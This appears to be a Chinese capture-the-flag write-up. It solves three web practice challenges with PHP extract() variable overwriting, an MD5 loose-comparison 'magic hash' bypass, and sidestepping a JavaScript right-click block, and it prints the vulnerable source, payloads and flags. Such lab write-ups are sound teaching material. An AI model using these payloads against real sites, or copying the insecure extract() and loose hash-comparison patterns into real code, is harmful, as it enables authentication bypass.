http://ctf3.shiyanbar.com/web/variable/ 打开题目发现
源码可以下载下来,于是我们下载源码打开
<?php
include("secret.php");
?>
<html>
<head>
<title>The Ducks</title>
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-1q8mTJOASx8j1Au+a5WDVnPi2lkFfwwEAa8hDDdjZlpLegxhjVME1fgjWPGmkzs7" crossorigin="anonymous">
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js" integrity="sha384-0mSbJDEHialfmuBBQP6A4Qrprq5OVfW37PRR3j5ELqxss1yVqOtnepnHVP9aJ7xS" crossorigin="anonymous"></script>
</head>
<body>
<div class="container">
<div class="jumbotron">
<center>
<h1>The Ducks</h1>
<?php if ($_SERVER["REQUEST_METHOD"] == "POST") { ?>
<?php
extract($_POST);
if ($pass == $thepassword_123) { ?>
<div class="alert alert-success">
<code><?php echo $theflag; ?></code>
</div>
<?php } ?>
<?php } ?>
<form action="." method="POST">
<div class="row">
<div class="col-md-6 col-md-offset-3">
<div class="row">
<div class="col-md-9">
<input type="password" class="form-control" name="pass" placeholder="Password" />
</div>
<div class="col-md-3">
<input type="submit" class="btn btn-primary" value="Submit" />
</div>
</div>
</div>
</div>
</form>
</center>
</div>
<p>
<center>
source at <a href="source.phps" target="_blank">/source.php</a>
</center>
</p>
</div>
</body>
</html>
定位到关键函数:extract() 这个函数通过百度我们可以知道:extract()函数从数组中将变量导入到当前的符号表。该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。第二个参数 type 用于指定当某个变量已经存在,而数组中又有同名元素时,extract() 函数如何对待这样的冲突。该函数返回成功导入到符号表中的变量数目。
于是看到关键代码if ($pass == $thepassword_123)
这里可以用变量覆盖,重新post两个相同名字不同值的变量上去就可以覆盖
payload:http://ctf3.shiyanbar.com/web/variable/
需要post的数据:pass=123&thepassword_123=123
flag{f1c6edcdc3f1c291eea3f266600439aa}
http://ctf3.shiyanbar.com/web/md5/ 打开看到源码
please input a
source code:
<?php
$md51 = md5("QNKCDZO");
$a = @$_GET["a"];
$md52 = @md5($a);
if(isset($a)){
if ($a != "QNKCDZO" && $md51 == $md52) {
echo "flag{*****************}";
} else {
echo "false!!!";
}}
else{echo "please input a";}
?>
直接想到php黑魔法:和QNKCDZO
MD5相等的数是240610708
payload:http://ctf3.shiyanbar.com/web/md5/?a=240610708
flag{56f008ff31c89382e15915a8ad78f209}
http://ctf3.shiyanbar.com/web/wrong/
打开输入任何东西都错误于是查看源代码,发现右键被禁用
用最古老的姿势:view-source:http://ctf3.shiyanbar.com/web/wrong/
看到有个not.js
function stop(){
alert('其实破解我很简单,加油哦!');
return false;
}
document.oncontextmenu=stop;
function SymError()
{
return true;
}
window.onerror = SymError;
{% endcodeblock %}
看出来这是禁用右键,于是我们修改为:
{% codeblock %}
function stop(){
return true;
}
document.oncontextmenu=stop;
function SymError()
{
return true;
}
window.onerror = SymError;
发现可以右键审查元素,发现一个da.html直接访问,F12审查元素得到flag
flag{a37b3a66-172f-434d-9105-aada3aed5bdc}